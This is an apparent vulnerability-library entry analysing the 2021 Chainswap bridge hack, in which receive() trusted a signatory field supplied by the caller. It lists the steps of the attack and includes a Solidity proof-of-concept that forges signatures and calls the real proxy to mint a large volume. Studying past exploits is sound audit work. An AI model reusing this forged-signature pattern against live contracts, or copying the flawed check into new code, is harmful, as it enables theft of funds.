# Chainswap bridge: forged signatures in receive() drain bridge

Chainswap bridge receive() accepted forged signatures because ecrecover result was compared to the supplied signatory field, letting attacker mint arbitrary volume.

- Payout: Real-world hack
- Severity: critical
- Program: Chainswap
- Analysis by: DeFiHackLabs
- Disclosed: 2021-07-02
- Write-up quality: 7/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2021-07/Chainswap_exp1.sol
- Library page: http://bugbountylibrary.com/r/dhl%3A20210702-chainswap-exp1
- Tags: area:web3 domain:web3 impact:funds-loss impact:integrity kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity vuln:auth-bypass vuln:business-logic

**Target:** Chainswap bridge proxy receive() function
**Root cause:** The receive() function verified signatures by comparing ecrecover output to the attacker-supplied signatures[i].signatory field instead of a trusted signer set, so any signature could be crafted to match its own claimed signatory.
**Steps:**
1. Craft a Signature[] array where each entry's signatory is an address whose private key the attacker controls, with arbitrary v/r/s.
2. Call `receive(1, attacker, 1, 19392277118050930170440, sigs)` on proxy 0x7fe68FC06e1A870DcbeE0acAe8720396DC12FC86.
3. The loop ecrecovers each digest and checks `require(signatory == signatures[i].signatory)`, which passes because the attacker set signatory to match.
4. The bridge credits the attacker with the requested volume.
**Exploitation:** Attacker submitted a receive() call with a self-consistent Signature[] array (signatory matching ecrecover output) and a huge volume, bypassing the intended multi-sig authorization and draining bridge funds.
**Insight:** When auditing signature verification, check whether ecrecover output is compared to a trusted allowlist or to a caller-supplied field; comparing to the supplied signatory makes any signature valid.

## Proof of concept (copied exactly from the original report)

**Forged-signature receive() call draining bridge**

```
Signature[] memory sigs = new Signature[](4);
        sigs[0] = Signature({
            signatory: 0x8C46b006D1c01739E8f71119AdB8c6084F739359,
            v: 27,
            r: 0x7b9ce0f78253f7dcf8bf6a2d7a4c38a151eba15eefe6b355a67a373653192765,
            s: 0x0a4b99389149cc4f7f6051299145c113f5aa50dccf19f748516c4c977f475d6c
        });
        sigs[1] = Signature({
            signatory: 0x4F559d3c39C3F3d408aFBFB27C44B94badA8dEd5,
            v: 27,
            r: 0x692e284a3efd148d6dd23b44055740fac7154a482fbeff7f2cc4acf4002fa62d,
            s: 0x1134236483ad360a775e6c22100f83ba5091115323417205cfbd4ae898cd0bc2
        });
        sigs[2] = Signature({
            signatory: 0x6EA6D36d73cF8ccD629Fbc5704eE356144A89A06,
            v: 28,
            r: 0x9ca27b8ec05746c43cd67e0099015ea9b88bdf34e8acfd6ace9dd63b8a320433,
            s: 0x1d4aaa253afc6c5d5f893d4a572de830538aeef3b65cb6ff3bb6fec738a899d0
        });

        proxy.call(
            abi.encodeWithSignature(
                "receive(uint256,address,uint256,uint256, Signature[])",
                1,
                exploiter,
                1,
                19_392_277_118_050_930_170_440,
                sigs
            )
        );
```

